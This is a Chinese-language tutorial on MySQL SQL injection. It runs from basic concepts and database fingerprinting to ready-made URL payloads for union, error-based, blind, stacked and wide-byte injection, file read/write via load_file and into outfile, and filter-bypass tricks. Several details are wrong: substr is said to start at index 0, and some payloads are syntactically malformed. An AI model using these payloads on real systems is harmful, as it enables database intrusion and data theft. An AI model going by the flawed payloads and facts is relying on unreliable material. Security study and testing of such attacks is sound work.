SQL注入详解(主要针对MySQL)
字数 2860 2025-08-10 16:34:25
MySQL SQL注入全面指南
1. SQL注入基本概念
1.1 定义
SQL注入是一种代码注入技术,攻击者通过WEB页面请求或表单提交的形式,提交恶意的SQL语句,从而达到攻击数据库驱动的目的。
1.2 原理
攻击者通过构造特殊的SQL语句绕过认证机制,获取数据库数据或权限。本质上是因为后端程序错误地将用户恶意数据当作SQL代码执行。
1.3 注入条件
- 用户能够自定义数据
- WEB应用把用户输入的数据带到了数据库执行
1.4 危害
- 获取WEB页面数据
- 后台登录绕过
- 通过漏洞获取系统权限
- 读取文件信息
2. 数据库类型识别
2.1 特殊语句判断
- SQL Server:
select @@version - Oracle:
select banner from v$version或select banner from v$version where rownum=1 - MySQL:
select version()或select @@version - PostgreSQL:
select version()
2.2 默认端口判断
- MySQL: 3306
- Oracle: 1521
- SQL Server: TCP 1433, UDP 1434
- PostgreSQL: 5432
2.3 网站类型与数据库关联
- ASP: SQL Server, Access
- .NET: SQL Server
- PHP: MySQL, PostgreSQL
- Java: Oracle, MySQL
3. 常见注入点
- GET参数
- POST参数
- Cookie
- Referer头
- X-Forward-For头
- User-Agent头
注: 一切与数据库交互的点都可能存在SQL注入
4. MySQL常用函数
4.1 信息获取函数
session_user(): 返回连接数据库的用户名和主机名version(): 返回当前数据库版本database(): 返回当前数据库名称@@datadir: 数据库文件存放路径@@basedir: 数据库安装路径@@version_compile_os: 返回操作系统版本
4.2 字符串处理函数
concat(): 合并多行数据为一行group_concat(): 合并一列或多列数据为字符串ascii(): 将字符串转换为ASCII码substr(字符串,1,1): 字符串截取(从0开始)length(): 返回字符串长度
4.3 文件操作函数
-
load_file('路径'): 读取本地文件- 条件:
- 有file_priv权限
- 知道网站路径
- 当前MySQL用户有读取权限
- 能使用union联合查询
- 文件大小小于max_allow_packet(默认1023KB)
- magic_quotes_gpc=off(PHP5.4后移除)
- secure_file_priv设置为空
- 条件:
-
into outfile('路径'): 将数据写入文件- 条件:
- 有file_priv权限
- 知道网站绝对路径
- 能使用union
- 对WEB目录有写权限
- 条件:
-
into dumpfile(): 与outfile相似,但不保留格式,可输出二进制文件
4.4 其他函数
sleep(): 程序沉睡指定时间(秒)if(语句1,语句2,语句3): 条件判断benchmark(count,expr): 执行expr表达式count次
5. MySQL注入流程
5.1 查询当前数据库名
union select 1,database(),3 -- qw
(若-被过滤可使用%23代替)
5.2 查询数据库表名
union select 1,group_concat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database() -- qw
5.3 查询表中字段名
select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name='表名' -- qw
5.4 查询具体数据
select 1,字段名,3 from 表名
6. 注入方式
6.1 联合注入
使用union关键字,先使前方查询内容为空,后面跟上union select语句查询数据:
?id=-1' union select 1,2,3 -- qw
(需闭合id参数,在回显位读取数据)
6.2 报错注入
当查询无回显但有报错信息时使用:
?id=1 and updatexml(1,(select database()),1) -- qw
(将查询结果通过报错信息外带)
6.3 盲注
6.3.1 时间盲注
?id=1' and if(ascii((substr(select database(),0,1))=115),sleep(3),0) -- qw
(正确时程序会延时3秒)
6.3.2 布尔盲注
?id=1' and length(select database())=8 -- qw
(正确与错误页面有明显区别)
6.4 堆叠注入
?id=1'; create table test like users;
局限性:
- 受API或数据库引擎限制
- 权限不足时受影响
- 后端只返回一个查询结果时不显示
- 需要预先知道数据库信息
6.5 宽字节注入
原理: 服务端字符编码设为GBK(双字节编码),当前一个字节ASCII码>128时会被认为是汉字。当PHP使用转义函数时,在闭合符号前加%df可实现闭合符号逃逸。
条件:
- 数据库编码为GBK
- 使用转义函数(addslashes等)
6.6 Cookie注入
在Cookie位置尝试注入,通常使用报错注入方式
7. 过滤绕过技术
7.1 关键字过滤绕过
- 大小写双写绕过
- 插入字符
<>或/**/绕过,如sel/**/ect - 将空格替换为注释符,如
/**/union/**/select/**/ - 使用URL编码
- 使用替代符号,如
and→&&→%26%26 - 在关键字前加
%00
7.2 符号过滤绕过
7.2.1 过滤空格
- 使用注释符或
+替代,如union/**/select - 使用括号绕过,如
select(ascii(substr(database(),0,1))>24) - 使用URL编码:
%a0,%09,%0a,%0b,%0c,%0d,%00
7.2.2 过滤逗号
- 使用join绕过:
union select 1,2,3 → union select * from (select 1)a join (select 2)b join (select 3)c
- 盲注时使用
from for替代:
substr(database() from 1 for 1)
- limit使用offset:
select * from users limit 1 offset 1
7.2.3 过滤等号
- 使用
like:
select * from users where username like "%admin%"
- 使用
in:
select * from users where username in "admin"
- 使用
between and:
select username from users where id=1 and substr(username,1,1) between 'a' and 'b'
- 使用大小于符号
7.2.4 过滤注释符
- 结尾加
and '1'='1闭合 - 尝试
-#- - 使用
%23(#)
7.2.5 过滤引号
- 使用16进制表示:
select username from users where table_name=0x61645F6C696E6B
- 尝试宽字节注入
7.2.6 过滤大小于符号
- 使用
greatest,least函数 - 使用
strcmp(str1,str2)函数 - 使用
in和between and
7.3 函数过滤绕过
sleep()→benchmark()ascii()→hex(),bin()group_concat→concat_ws()
7.4 information_schema表被禁
使用替代表:
sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffermysql.innodb_table_statsmysql.innodb_table_index
查询语句:
?id=-1' union select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
7.5 无列名查询
使用join-using查列名:
- 获取第一列信息:
?id=-1' union select * from (select * from users as a join users as b) as c --+
- 获取第二列信息:
?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+
- 获取第三列信息:
?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+
原理: 多次连接相同列名会报错,报错信息中有重复列名;using()函数合并已知重复列,从而获取所有列名。